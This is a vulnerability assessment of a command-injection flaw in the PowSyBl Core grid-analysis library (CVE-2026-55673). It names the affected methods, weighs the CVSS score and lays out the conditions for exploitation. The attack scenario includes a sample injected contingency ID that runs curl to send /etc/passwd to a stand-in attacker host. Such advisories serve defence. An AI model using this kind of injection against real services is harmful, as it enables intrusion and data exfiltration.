PowSyBl Core CVE-2026-55673

Exploitation requires three concurrent conditions: first, a downstream application or service must embed com.powsybl:powsybl-computation-local version 7.2.1 or earlier; second, that application must pass externally-supplied data - such as contingency IDs, computation parameters, model file paths, or environment variable values - to one of the vulnerable public methods (UnixLocalCommandExecutor.execute(), WindowsLocalCommandExecutor.execute(), LocalComputationManager.execute(), ParallelLoadFlowActionSimulator.run(), ActionSimulatorTool.run(), AmplModelRunner.run(), or AmplModelRunner.runAsync()) without prior sanitization; and third, the attacker must have at least low-privilege access to invoke those APIs, consistent with the CVSS PR:L rating. The itools CLI introduces an additional path: the action-simulator command is vulnerable when the task-count option value is externally supplied, security-analysis is vulnerable when the external option is set, and dynamic-security-analysis is vulnerable in its current form. Direct use of the library with fully controlled, internally generated inputs is not exploitable. Exploitation is limited by the niche deployment footprint of PowSyBl in the European energy sector and the requirement for a vulnerable downstream integration layer.

The vendor-supplied CVSS 4.0 score of 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N) reflects network reachability with low-privilege access and no special attack requirements, which is consistent with exploitation via a network-exposed embedding service. However, the provided impact metrics (VC:N/VI:L/VA:H) appear to understate the consequence of arbitrary shell command execution, which in practice yields full confidentiality, integrity, and availability impact on the host process and any files the JVM user can reach. EPSS data was not provided, so statistical exploitation probability cannot be assessed. The vulnerability is not listed in the CISA KEV catalog, and no public exploit code has been identified - the advisory's detailed bypass documentation, however, would substantially lower development effort for a functional exploit. Real-world priority is highly deployment-dependent: internal deployments with fully controlled inputs are not at risk, while multi-tenant or externally-exposed REST wrappers around powsybl-core represent a high-severity exposure. CVSS indicates network vector, consistent with the described downstream service attack surface, though direct local invocation via itools CLI is also a valid attack path for systems with local user access.

An attacker with low-privilege access to a REST API wrapping a PowSyBl-based grid analysis platform submits a crafted contingency ID such as 'N-1_LINE_01; curl attacker.example/exfil?d=$(cat /etc/passwd)' as a computation parameter. The service passes this string unsanitized into ActionSimulatorTool.run() or LocalComputationManager.execute(), which concatenates it into a 'bash -c' invocation. The injected subshell command executes as the JVM process user, enabling data exfiltration, filesystem manipulation, or establishment of a reverse shell. No public exploit code has been identified, but the advisory's documentation of bypass techniques for the previously weak escaping provides sufficient detail to construct a working payload.